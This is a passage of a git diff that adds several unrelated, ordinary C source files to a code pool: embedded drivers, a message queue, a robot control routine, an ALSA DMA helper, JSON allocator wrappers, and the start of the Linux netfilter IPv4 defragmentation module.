0000000000000000000000000000000000000000..88e4e267162bb928c8b26c46f022a772f9baba5a --- /dev/null +++ b/pool/shard011/C/0141963_NMI_MsgQueue.c @@ -0,0 +1,234 @@ + +#include "NMI_OsWrapper/include/NMI_OSWrapper.h" + +#ifdef CONFIG_NMI_MSG_QUEUE_FEATURE + + +/*! +* @author syounan +* @date 1 Sep 2010 +* @note copied from FLO glue implementatuion +* @version 1.0 +*/ +NMI_ErrNo NMI_MsgQueueCreate(NMI_MsgQueueHandle* pHandle, + tstrNMI_MsgQueueAttrs* pstrAttrs) +{ + tstrNMI_SemaphoreAttrs strSemAttrs; + NMI_SemaphoreFillDefault(&strSemAttrs); + strSemAttrs.u32InitCount = 0; + + if( (NMI_SemaphoreCreate(&pHandle->hSem, &strSemAttrs) == NMI_SUCCESS) + && (NMI_SemaphoreCreate(&pHandle->strCriticalSection, NMI_NULL) == NMI_SUCCESS)) + { + + pHandle->pstrMessageList = NULL; + pHandle->u32ReceiversCount = 0; + pHandle->bExiting = NMI_FALSE; + + return NMI_SUCCESS; + } + else + { + return NMI_FAIL; + } +} + +/*! +* @author syounan +* @date 1 Sep 2010 +* @note copied from FLO glue implementatuion +* @version 1.0 +*/ +NMI_ErrNo NMI_MsgQueueDestroy(NMI_MsgQueueHandle* pHandle, + tstrNMI_MsgQueueAttrs* pstrAttrs) +{ + + pHandle->bExiting = NMI_TRUE; + + // Release any waiting receiver thread. + while(pHandle->u32ReceiversCount > 0) + { + NMI_SemaphoreRelease(&(pHandle->hSem), NMI_NULL); + pHandle->u32ReceiversCount--; + } + + NMI_SemaphoreDestroy(&pHandle->hSem, NMI_NULL); + NMI_SemaphoreDestroy(&pHandle->strCriticalSection, NMI_NULL); + + while(pHandle->pstrMessageList != NULL) + { + Message * pstrMessge = pHandle->pstrMessageList->pstrNext; + NMI_FREE(pHandle->pstrMessageList); + pHandle->pstrMessageList = pstrMessge; + } + + return NMI_SUCCESS; +} + +/*! +* @author syounan +* @date 1 Sep 2010 +* @note copied from FLO glue implementatuion +* @version 1.0 +*/ +NMI_ErrNo NMI_MsgQueueSend(NMI_MsgQueueHandle* pHandle, + const void * pvSendBuffer, NMI_Uint32 u32SendBufferSize, + tstrNMI_MsgQueueAttrs* pstrAttrs) +{ + NMI_ErrNo s32RetStatus = NMI_SUCCESS; + + Message * pstrMessage = NULL; + + if( (pHandle == NULL) || (u32SendBufferSize == 0) || (pvSendBuffer == NULL) ) + { + NMI_ERRORREPORT(s32RetStatus, NMI_INVALID_ARGUMENT); + } + + if(pHandle->bExiting == NMI_TRUE) + { + NMI_ERRORREPORT(s32RetStatus, NMI_FAIL); + } + + NMI_SemaphoreAcquire(&pHandle->strCriticalSection, NMI_NULL); + + /* construct a new message */ + pstrMessage = NMI_NEW(Message, 1); + NMI_NULLCHECK(s32RetStatus, pstrMessage); + pstrMessage->u32Length = u32SendBufferSize; + pstrMessage->pstrNext = NULL; + pstrMessage->pvBuffer = NMI_MALLOC(u32SendBufferSize); + NMI_NULLCHECK(s32RetStatus, pstrMessage->pvBuffer); + NMI_memcpy(pstrMessage->pvBuffer, pvSendBuffer, u32SendBufferSize); + + + /* add it to the message queue */ + if(pHandle->pstrMessageList == NULL) + { + pHandle->pstrMessageList = pstrMessage; + } + else + { + Message * pstrTailMsg = pHandle->pstrMessageList; + while(pstrTailMsg->pstrNext != NULL) + { + pstrTailMsg = pstrTailMsg->pstrNext; + } + pstrTailMsg->pstrNext = pstrMessage; + } + + NMI_SemaphoreRelease(&pHandle->strCriticalSection, NMI_NULL); + + NMI_SemaphoreRelease(&pHandle->hSem, NMI_NULL); + + NMI_CATCH(s32RetStatus) + { + /* error occured, free any allocations */ + if(pstrMessage != NULL) + { + if(pstrMessage->pvBuffer != NULL) + { + NMI_FREE(pstrMessage->pvBuffer); + } + NMI_FREE(pstrMessage); + } + } + + return s32RetStatus; +} + + + +/*! +* @author syounan +* @date 1 Sep 2010 +* @note copied from FLO glue implementatuion +* @version 1.0 +*/ +NMI_ErrNo NMI_MsgQueueRecv(NMI_MsgQueueHandle* pHandle, + void * pvRecvBuffer, NMI_Uint32 u32RecvBufferSize, + NMI_Uint32* pu32ReceivedLength, + tstrNMI_MsgQueueAttrs* pstrAttrs) +{ + + Message * pstrMessage; + NMI_ErrNo s32RetStatus = NMI_SUCCESS; + tstrNMI_SemaphoreAttrs strSemAttrs; + + if( (pHandle == NULL) || (u32RecvBufferSize == 0) + || (pvRecvBuffer == NULL) || (pu32ReceivedLength == NULL) ) + { + NMI_ERRORREPORT(s32RetStatus, NMI_INVALID_ARGUMENT); + } + + if(pHandle->bExiting == NMI_TRUE) + { + NMI_ERRORREPORT(s32RetStatus, NMI_FAIL); + } + + NMI_SemaphoreAcquire(&pHandle->strCriticalSection, NMI_NULL); + pHandle->u32ReceiversCount++; + NMI_SemaphoreRelease(&pHandle->strCriticalSection, NMI_NULL); + + NMI_SemaphoreFillDefault(&strSemAttrs); + #ifdef CONFIG_NMI_MSG_QUEUE_TIMEOUT + if(pstrAttrs != NMI_NULL) + { + strSemAttrs.u32TimeOut = pstrAttrs->u32Timeout; + } + #endif + s32RetStatus = NMI_SemaphoreAcquire(&(pHandle->hSem), &strSemAttrs); + if(s32RetStatus == NMI_TIMEOUT) + { + /* timed out, just exit without consumeing the message */ + NMI_SemaphoreAcquire(&pHandle->strCriticalSection, NMI_NULL); + pHandle->u32ReceiversCount--; + NMI_SemaphoreRelease(&pHandle->strCriticalSection, NMI_NULL); + } + else + { + /* other non-timeout scenarios */ + NMI_ERRORCHECK(s32RetStatus); + + if(pHandle->bExiting) + { + NMI_ERRORREPORT(s32RetStatus, NMI_FAIL); + } + + NMI_SemaphoreAcquire(&pHandle->strCriticalSection, NMI_NULL); + + pstrMessage = pHandle->pstrMessageList; + if(pstrMessage == NULL) + { + NMI_SemaphoreRelease(&pHandle->strCriticalSection, NMI_NULL); + NMI_ERRORREPORT(s32RetStatus, NMI_FAIL); + } + /* check buffer size */ + if(u32RecvBufferSize < pstrMessage->u32Length) + { + NMI_SemaphoreRelease(&pHandle->strCriticalSection, NMI_NULL); + NMI_SemaphoreRelease(&pHandle->hSem, NMI_NULL); + NMI_ERRORREPORT(s32RetStatus, NMI_BUFFER_OVERFLOW); + } + + /* consume the message */ + pHandle->u32ReceiversCount--; + NMI_memcpy(pvRecvBuffer, pstrMessage->pvBuffer, pstrMessage->u32Length); + *pu32ReceivedLength = pstrMessage->u32Length; + + pHandle->pstrMessageList = pstrMessage->pstrNext; + + NMI_FREE(pstrMessage->pvBuffer); + NMI_FREE(pstrMessage); + + NMI_SemaphoreRelease(&pHandle->strCriticalSection, NMI_NULL); + + } + + NMI_CATCH(s32RetStatus) + { + } + + return s32RetStatus; +} + +#endif diff --git a/pool/shard011/C/0141964_si1145_command.c b/pool/shard011/C/0141964_si1145_command.c new file mode 100644 index 0000000000000000000000000000000000000000..47f1af7e91c3f6468c3458e0705df42fb602af97 --- /dev/null +++ b/pool/shard011/C/0141964_si1145_command.c @@ -0,0 +1,57 @@ +// +// Created by Alfred Schilken on 29.05.17. +// + +#include "syscfg/syscfg.h" +#include +#include +#include +#include +#include + +static int uv_shell_func(int argc, char **argv); + +static struct shell_cmd uv_cmd = { + .sc_cmd = "uv", + .sc_cmd_func = uv_shell_func, +}; + +void uv_command_init(void) { + int rc; + rc = shell_cmd_register(&uv_cmd); + assert(rc == 0); +} + +static int uv_shell_func(int argc, char **argv) { + if (argc < 2) { + console_printf("uv check|r\n"); + return 1; + } + int rc; + + if(strcmp(argv[1], "check") == 0){ +#if MYNEWT_VAL(SI1145_ENABLED) + rc = check_SI1145(); +#else + rc = -1; + console_printf("uv: SI1145_ENABLED not set, rc= %d\n", rc); +#endif + console_printf("uv: check UV-sensor SI1145 on i2c rc= %d\n", rc); + return 0; + } + + if(strcmp(argv[1], "r") == 0){ + uint16_t uv = readUV(); + uint16_t visible = readVisible(); + uint16_t ir = readIR(); + console_printf("uv: UV index = %d.%02d\n", uv/100, uv%100); + console_printf("uv: Visible value= %d \n", visible); + console_printf("uv: IR value= %d\n", ir); + return 0; + } + + return 0; +} + + + diff --git a/pool/shard011/C/0141965_blue_right.c b/pool/shard011/C/0141965_blue_right.c new file mode 100644 index 0000000000000000000000000000000000000000..d3d14a2f6042d5fadcbee0c38badf442a19a507c --- /dev/null +++ b/pool/shard011/C/0141965_blue_right.c @@ -0,0 +1,106 @@ +#pragma config(Motor, port1, rightdrive, tmotorVex393_HBridge, openLoop, reversed) +#pragma config(Motor, port2, rightdrive2, tmotorVex393_MC29, openLoop, reversed) +#pragma config(Motor, port3, claw, tmotorVex393_MC29, openLoop, reversed) +#pragma config(Motor, port4, lift1, tmotorVex393_MC29, openLoop) +#pragma config(Motor, port5, rightarm, tmotorVex393_MC29, openLoop, reversed) +#pragma config(Motor, port6, leftarm, tmotorVex393_MC29, openLoop) +#pragma config(Motor, port7, claw2, tmotorVex393_MC29, openLoop) +#pragma config(Motor, port8, lift2, tmotorVex393_MC29, openLoop) +#pragma config(Motor, port9, leftdrive2, tmotorVex393_MC29, openLoop) +#pragma config(Motor, port10, leftdrive, tmotorVex393_HBridge, openLoop) +//*!!Code automatically generated by 'ROBOTC' configuration wizard !!*// + +void straight (int t) +{ + motor[rightdrive] = 127; + motor[rightdrive2] = 127; + motor[leftdrive] = 127; + motor[leftdrive2] = 127; + wait1Msec(t); +} +void left (int t) +{ + motor[rightdrive] = -127; + motor[rightdrive2] = -127; + motor[leftdrive] = 127; + motor[leftdrive2] = 127; + wait1Msec (t); +} +void right(int t) +{ + motor[rightdrive] = 127; + motor[rightdrive] = 127; + motor[leftdrive] = -127; + motor[leftdrive2] = -127; + wait1Msec (t); +} +void back(int t) +{ + motor[rightdrive] = -127; + motor[rightdrive2] = -127; + motor[leftdrive] = -127; + motor[leftdrive2] = -127; + wait1Msec (t); +} +void lift(int t) +{ + motor[lift1] = -127; + motor[lift2] = -127; + wait1Msec (t); +} +void droplift(int t) +{ + motor[lift1] = 127; + motor[lift2] = 127; + wait1Msec (t); +} +void liftarm(int t) +{ + motor[rightarm] = 127; + motor[leftarm] = 127; + wait1Msec (t); +} +void droparm(int t) +{ + motor[rightarm] = -127; + motor[leftarm] = -127; + wait1Msec (t); +} +void openclaw(int t) +{ + motor[claw] = -127; + motor[claw2] = -127; + wait1Msec (t); +} +void closeclaw(int t) +{ + motor[claw] = 127; + motor[claw2] = 127; + wait1Msec (t); +} +void halt(int t) +{ + motor[rightdrive] = 0; + motor[rightdrive2] = 0; + motor[rightarm] = 0; + motor[lift1] = 0; + motor[lift2] = 0; + motor[claw] = 0; + motor[claw2] = 0; + motor[leftarm] = 0; + motor[leftdrive] = 0; + motor[leftdrive2] = 0; +} + +task main() +{ + while(vexRT(Btn6U)){} + + straight(1500); + lift(2500); + straight(1000); + droplift(200); + openclaw(1000); + back(1000); + halt(500); +} diff --git a/pool/shard011/C/0141966_u8g_dev_lc7981_240x128.c b/pool/shard011/C/0141966_u8g_dev_lc7981_240x128.c new file mode 100644 index 0000000000000000000000000000000000000000..2fd842ea4c14a823c57b259b48efab7e84bb441a --- /dev/null +++ b/pool/shard011/C/0141966_u8g_dev_lc7981_240x128.c @@ -0,0 +1,145 @@ +/* + + u8g_dev_lc7981_240x128.c + + Hitachi Display SP14N002 + + Universal 8bit Graphics Library + + Copyright (c) 2012, olikraus@gmail.com + All rights reserved. + + Redistribution and use in source and binary forms, with or without modification, + are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list + of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, this + list of conditions and the following disclaimer in the documentation and/or other + materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND + CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, + INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF + ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + +*/ + +#include "u8g.h" + +#define WIDTH 240 +#define HEIGHT 128 +#define PAGE_HEIGHT 8 + + +/* + http://www.mark-products.com/graphics.htm#240x128%20Pixel%20Format +*/ + +static const uint8_t u8g_dev_lc7981_240x128_init_seq[] PROGMEM = { + U8G_ESC_CS(0), /* disable chip */ + U8G_ESC_ADR(1), /* instruction mode */ + U8G_ESC_RST(15), /* do reset low pulse with (15*16)+2 milliseconds (=maximum delay)*/ + U8G_ESC_CS(1), /* enable chip */ + U8G_ESC_DLY(50), /* delay 50 ms */ + + + U8G_ESC_ADR(1), /* instruction mode */ + 0x000, /* mode register */ + U8G_ESC_ADR(0), /* data mode */ + 0x032, /* display on (bit 5), master mode on (bit 4), graphics mode on (bit 1)*/ + + U8G_ESC_ADR(1), /* instruction mode */ + 0x001, /* character/bits per pixel pitch */ + U8G_ESC_ADR(0), /* data mode */ + 0x007, /* 8 bits per pixel */ + + U8G_ESC_ADR(1), /* instruction mode */ + 0x002, /* number of chars/byte width of the screen */ + U8G_ESC_ADR(0), /* data mode */ + WIDTH/8-1, /* 8 bits per pixel */ + + U8G_ESC_ADR(1), /* instruction mode */ + 0x003, /* time division */ + U8G_ESC_ADR(0), /* data mode */ + 0x07f, /* */ + + U8G_ESC_ADR(1), /* instruction mode */ + 0x008, /* display start low */ + U8G_ESC_ADR(0), /* data mode */ + 0x000, /* */ + + U8G_ESC_ADR(1), /* instruction mode */ + 0x009, /* display start high */ + U8G_ESC_ADR(0), /* data mode */ + 0x000, /* */ + + U8G_ESC_DLY(10), /* delay 10 ms */ + + U8G_ESC_CS(0), /* disable chip */ + U8G_ESC_END /* end of sequence */ +}; + +uint8_t u8g_dev_lc7981_240x128_fn(u8g_t *u8g, u8g_dev_t *dev, uint8_t msg, void *arg) +{ + switch(msg) + { + case U8G_DEV_MSG_INIT: + u8g_InitCom(u8g, dev, U8G_SPI_CLK_CYCLE_NONE); + u8g_WriteEscSeqP(u8g, dev, u8g_dev_lc7981_240x128_init_seq); + break; + case U8G_DEV_MSG_STOP: + break; + case U8G_DEV_MSG_PAGE_NEXT: + { + uint8_t y, i; + uint16_t disp_ram_adr; + uint8_t *ptr; + u8g_pb_t *pb = (u8g_pb_t *)(dev->dev_mem); + + u8g_SetAddress(u8g, dev, 1); /* cmd mode */ + u8g_SetChipSelect(u8g, dev, 1); + y = pb->p.page_y0; + ptr = pb->buf; + disp_ram_adr = WIDTH/8; + disp_ram_adr *= y; + for( i = 0; i < 8; i ++ ) + { + u8g_SetAddress(u8g, dev, 1); /* cmd mode */ + u8g_WriteByte(u8g, dev, 0x00a ); /* display ram (cursor) address low byte */ + u8g_SetAddress(u8g, dev, 0); /* data mode */ + u8g_WriteByte(u8g, dev, disp_ram_adr & 0x0ff ); + + u8g_SetAddress(u8g, dev, 1); /* cmd mode */ + u8g_WriteByte(u8g, dev, 0x00b ); /* display ram (cursor) address hight byte */ + u8g_SetAddress(u8g, dev, 0); /* data mode */ + u8g_WriteByte(u8g, dev, disp_ram_adr >> 8 ); + + u8g_SetAddress(u8g, dev, 1); /* cmd mode */ + u8g_WriteByte(u8g, dev, 0x00c ); /* write data */ + u8g_SetAddress(u8g, dev, 0); /* data mode */ + u8g_WriteSequence(u8g, dev, WIDTH/8, ptr); + ptr += WIDTH/8; + disp_ram_adr += WIDTH/8; + } + u8g_SetChipSelect(u8g, dev, 0); + } + break; + } + return u8g_dev_pb8h1f_base_fn(u8g, dev, msg, arg); +} + +U8G_PB_DEV(u8g_dev_lc7981_240x128_8bit, WIDTH, HEIGHT, PAGE_HEIGHT, u8g_dev_lc7981_240x128_fn, U8G_COM_FAST_PARALLEL); + + diff --git a/pool/shard011/C/0141967_stm32f4xx_hal_msp.c b/pool/shard011/C/0141967_stm32f4xx_hal_msp.c new file mode 100644 index 0000000000000000000000000000000000000000..d46c233204cc59de81c3a8fe4d36e28c847642a2 --- /dev/null +++ b/pool/shard011/C/0141967_stm32f4xx_hal_msp.c @@ -0,0 +1,151 @@ +/** + ****************************************************************************** + * @file SPI/SPI_HalfDuplex_ComPollingIT/Src/stm32f4xx_hal_msp.c + * @author MCD Application Team + * @version V1.0.0 + * @date 17-February-2017 + * @brief HAL MSP module. + ****************************************************************************** + * @attention + * + *

© COPYRIGHT(c) 2017 STMicroelectronics

+ * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * 3. Neither the name of STMicroelectronics nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************** + */ + +/* Includes ------------------------------------------------------------------*/ +#include "main.h" + +/** @addtogroup STM32F4xx_MIX_Examples + * @{ + */ + +/** @defgroup SPI_FullDuplex_ComIT + * @brief HAL MSP module. + * @{ + */ + +/* Private typedef -----------------------------------------------------------*/ +/* Private define ------------------------------------------------------------*/ +/* Private macro -------------------------------------------------------------*/ +/* Private variables ---------------------------------------------------------*/ +/* Private function prototypes -----------------------------------------------*/ +/* Private functions ---------------------------------------------------------*/ + +/** @defgroup HAL_MSP_Private_Functions + * @{ + */ + +/** + * @brief SPI MSP Initialization + * This function configures the hardware resources used in this example: + * - Peripheral's clock enable + * - Peripheral's GPIO Configuration + * - NVIC configuration for SPI interrupt request enable + * @param hspi: SPI handle pointer + * @retval None + */ +void HAL_SPI_MspInit(SPI_HandleTypeDef *hspi) +{ +GPIO_InitTypeDef GPIO_InitStruct; + + if (hspi->Instance == SPIx) + { + /*##-1- Enable peripherals and GPIO Clocks #################################*/ + /* Enable GPIO TX/RX clock */ + SPIx_SCK_GPIO_CLK_ENABLE(); + SPIx_MISO_GPIO_CLK_ENABLE(); + SPIx_MOSI_GPIO_CLK_ENABLE(); + /* Enable SPI clock */ + SPIx_CLK_ENABLE(); + + /*##-2- Configure peripheral GPIO ##########################################*/ + /* SPI SCK GPIO pin configuration */ + GPIO_InitStruct.Pin = SPIx_SCK_PIN; + GPIO_InitStruct.Mode = GPIO_MODE_AF_PP; + GPIO_InitStruct.Pull = GPIO_PULLDOWN; + GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_VERY_HIGH; + GPIO_InitStruct.Alternate = SPIx_SCK_AF; + HAL_GPIO_Init(SPIx_SCK_GPIO_PORT, &GPIO_InitStruct); + + /* SPI MISO GPIO pin configuration */ + GPIO_InitStruct.Pin = SPIx_MISO_PIN; + GPIO_InitStruct.Alternate = SPIx_MISO_AF; + HAL_GPIO_Init(SPIx_MISO_GPIO_PORT, &GPIO_InitStruct); + + /* SPI MOSI GPIO pin configuration */ + GPIO_InitStruct.Pin = SPIx_MOSI_PIN; + GPIO_InitStruct.Alternate = SPIx_MOSI_AF; + HAL_GPIO_Init(SPIx_MOSI_GPIO_PORT, &GPIO_InitStruct); + + /*##-3- Configure the NVIC for SPI #########################################*/ + /* NVIC for SPI */ + HAL_NVIC_SetPriority(SPIx_IRQn, 1, 0); + HAL_NVIC_EnableIRQ(SPIx_IRQn); + } +} + +/** + * @brief SPI MSP De-Initialization + * This function frees the hardware resources used in this example: + * - Disable the Peripheral's clock + * - Revert GPIO and NVIC configuration to their default state + * @param hspi: SPI handle pointer + * @retval None + */ +void HAL_SPI_MspDeInit(SPI_HandleTypeDef *hspi) +{ + if(hspi->Instance == SPIx) + { + /*##-1- Reset peripherals ##################################################*/ + SPIx_FORCE_RESET(); + SPIx_RELEASE_RESET(); + + /*##-2- Disable peripherals and GPIO Clocks ################################*/ + /* Deconfigure SPI SCK */ + HAL_GPIO_DeInit(SPIx_SCK_GPIO_PORT, SPIx_SCK_PIN); + /* Deconfigure SPI MISO */ + HAL_GPIO_DeInit(SPIx_MISO_GPIO_PORT, SPIx_MISO_PIN); + /* Deconfigure SPI MOSI */ + HAL_GPIO_DeInit(SPIx_MOSI_GPIO_PORT, SPIx_MOSI_PIN); + + /*##-3- Disable the NVIC for SPI ###########################################*/ + HAL_NVIC_DisableIRQ(SPIx_IRQn); + } +} + +/** + * @} + */ + +/** + * @} + */ + +/** + * @} + */ + +/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/pool/shard011/C/0141968_histogram_eq.c b/pool/shard011/C/0141968_histogram_eq.c new file mode 100644 index 0000000000000000000000000000000000000000..e51c401aa7f685220fcb72e88b84544235190123 --- /dev/null +++ b/pool/shard011/C/0141968_histogram_eq.c @@ -0,0 +1,89 @@ +#include +#include +#include +#include + +extern int histogram_eq_run; +extern void process_keys(); + +void* histogram_eq_thread( void *arg ) +{ + int res; + framebuffer_t *dst; + framebuffer_t *frame; + stream_node_t *node; + + // Get the argument to the thread + node = (stream_node_t*)arg; + + // Make sure that the input buffer is valid + if( node->input == NULL ) + { + fprintf(stderr,"sobel node must be used with a valid input buffer\n"); + exit(1 ); + } + + // Make sure that the output buffer is valid + if( node->output == NULL ) + { + fprintf(stderr,"sobel node must be used with a valid output buffer\n"); + exit(1 ); + } + + // By default we have no frame for the destination image + dst = NULL; + + // Run the sobel thread + while( 1 ) + { + process_keys(); + + // Get an image from the input buffer + frame = buffer_remove( node->input ); + + // Determine if we should stop processing + if( frame == NULL ) break; + + // Create a destination image if needed + if( dst == NULL ) + { + dst = (framebuffer_t*)malloc( sizeof(framebuffer_t) ); + + if( dst != NULL ) + { + res = framebuffer_create( dst, frame->width, frame->height ); + if( res != 0 ) + { + free(dst); + dst = NULL; + } + } + } + + // Process the image if we can otherwise pass on the input image + if( dst != NULL && histogram_eq_run ) + { + // Perform the filter + framebuffer_histogram_eq( dst, frame ); + + // Place the image on the output buffer + buffer_insert( node->output, dst ); + + // Store the current frame for use as the destination next time + dst = frame; + } + else + { + // Place the image on the output buffer unmodified + buffer_insert( node->output, frame ); + } + + } + + // Destroy our temporary storage + free( dst ); + + // Finish running the thread + return NULL; +} + diff --git a/pool/shard011/C/0141969_devdma.c b/pool/shard011/C/0141969_devdma.c new file mode 100644 index 0000000000000000000000000000000000000000..60826a5324b40789bbabfe88399b6087bc69144c --- /dev/null +++ b/pool/shard011/C/0141969_devdma.c @@ -0,0 +1,81 @@ +/* + * linux/sound/arm/devdma.c + * + * Copyright (C) 2003-2004 Russell King, All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * ARM DMA shim for ALSA. + */ +#include +#include + +#include +#include +#include + +#include "devdma.h" + +void devdma_hw_free(struct device *dev, snd_pcm_substream_t *substream) +{ + snd_pcm_runtime_t *runtime = substream->runtime; + struct snd_dma_buffer *buf = runtime->dma_buffer_p; + + if (runtime->dma_area == NULL) + return; + + if (buf != &substream->dma_buffer) { + dma_free_coherent(buf->dev.dev, buf->bytes, buf->area, buf->addr); + kfree(runtime->dma_buffer_p); + } + + snd_pcm_set_runtime_buffer(substream, NULL); +} + +int devdma_hw_alloc(struct device *dev, snd_pcm_substream_t *substream, size_t size) +{ + snd_pcm_runtime_t *runtime = substream->runtime; + struct snd_dma_buffer *buf = runtime->dma_buffer_p; + int ret = 0; + + if (buf) { + if (buf->bytes >= size) + goto out; + devdma_hw_free(dev, substream); + } + + if (substream->dma_buffer.area != NULL && substream->dma_buffer.bytes >= size) { + buf = &substream->dma_buffer; + } else { + buf = kmalloc(sizeof(struct snd_dma_buffer), GFP_KERNEL); + if (!buf) + goto nomem; + + buf->dev.type = SNDRV_DMA_TYPE_DEV; + buf->dev.dev = dev; + buf->area = dma_alloc_coherent(dev, size, &buf->addr, GFP_KERNEL); + buf->bytes = size; + buf->private_data = NULL; + + if (!buf->area) + goto free; + } + snd_pcm_set_runtime_buffer(substream, buf); + ret = 1; + out: + runtime->dma_bytes = size; + return ret; + + free: + kfree(buf); + nomem: + return -ENOMEM; +} + +int devdma_mmap(struct device *dev, snd_pcm_substream_t *substream, struct vm_area_struct *vma) +{ + snd_pcm_runtime_t *runtime = substream->runtime; + return dma_mmap_coherent(dev, vma, runtime->dma_area, runtime->dma_addr, runtime->dma_bytes); +} diff --git a/pool/shard011/C/0141970_json_yajl_common.c b/pool/shard011/C/0141970_json_yajl_common.c new file mode 100644 index 0000000000000000000000000000000000000000..187a6bf80f63ef92413e75a7a8f96a6da3c88d2e --- /dev/null +++ b/pool/shard011/C/0141970_json_yajl_common.c @@ -0,0 +1,101 @@ +/***************************************************************************** + * Licensed to Qualys, Inc. (QUALYS) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * QUALYS licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ****************************************************************************/ + +/** + * @file + * @brief IronBee --- JSON YAJL wrapper functions + * @author Nick LeRoy + */ + +#include "ironbee_config_auto.h" + +#include "json_yajl_private.h" + +#include + +#ifdef __clang__ +#pragma clang diagnostic push +#endif +#include +#ifdef __clang__ +#pragma clang diagnostic pop +#endif + +#include +#include +#include + +typedef struct { + size_t size; + char data[0]; +} chunk_t; + +void *json_yajl_alloc( + void *ctx, + size_t size) +{ + json_yajl_alloc_context_t *alloc_ctx = (json_yajl_alloc_context_t *)ctx; + chunk_t *chunk; + size_t alloc = size + sizeof(*chunk); + + chunk = (chunk_t *)ib_mm_alloc(alloc_ctx->mm, size + alloc); + if (chunk == NULL) { + alloc_ctx->status = IB_EALLOC; + return NULL; + } + + chunk->size = size; + return chunk->data; +} + +void *json_yajl_realloc( + void *ctx, + void *ptr, + size_t size) +{ + if (ptr == NULL) { + return json_yajl_alloc(ctx, size); + } + + json_yajl_alloc_context_t *alloc_ctx = (json_yajl_alloc_context_t *)ctx; + chunk_t *chunk; + chunk_t *new; + size_t bytes; + + chunk = (chunk_t *)((char *)ptr - sizeof(chunk_t)); + if (chunk->size >= size) { + return chunk->data; + } + + bytes = size + sizeof(*chunk); + new = (chunk_t *)ib_mm_alloc(alloc_ctx->mm, bytes); + if (new == NULL) { + alloc_ctx->status = IB_EALLOC; + return NULL; + } + + memcpy(new->data, ptr, chunk->size); + new->size = size; + return new->data; +} + +void json_yajl_free( + void *ctx, + void *ptr) +{ + return; +} diff --git a/pool/shard011/C/0141971_nf_defrag_ipv4.c b/pool/shard011/C/0141971_nf_defrag_ipv4.c new file mode 100644 index 0000000000000000000000000000000000000000..9bb1b8a37a22be1485466ff4b6097488a28e0974 --- /dev/null +++ b/pool/shard011/C/0141971_nf_defrag_ipv4.c @@ -0,0 +1,128 @@ +/* (C) 1999-2001 Paul `Rusty' Russell + * (C) 2002-2004 Netfilter Core Team + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ + +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#if defined(CONFIG_NF_CONNTRACK) || defined(CONFIG_NF_CONNTRACK_MODULE) +#include +#endif +#include + +/* Returns new sk_buff, or NULL */ +static int nf_ct_ipv4_gather_frags(struct sk_buff *skb, u_int32_t user) +{ + int err; + + skb_orphan(skb); + + local_bh_disable(); + err = ip_defrag(skb, user); + local_bh_enable(); + + if (!err) + ip_send_check(ip_hdr(skb)); + + return err; +} + +static enum ip_defrag_users nf_ct_defrag_user(unsigned int hooknum, + struct sk_buff *skb) +{ + u16 zone = NF_CT_DEFAULT_ZONE; + +#if defined(CONFIG_NF_CONNTRACK) || defined(CONFIG_NF_CONNTRACK_MODULE) + if (skb->nfct) + zone = nf_ct_zone((struct nf_conn *)skb->nfct); +#endif + +#ifdef CONFIG_BRIDGE_NETFILTER + if (skb->nf_bridge && + 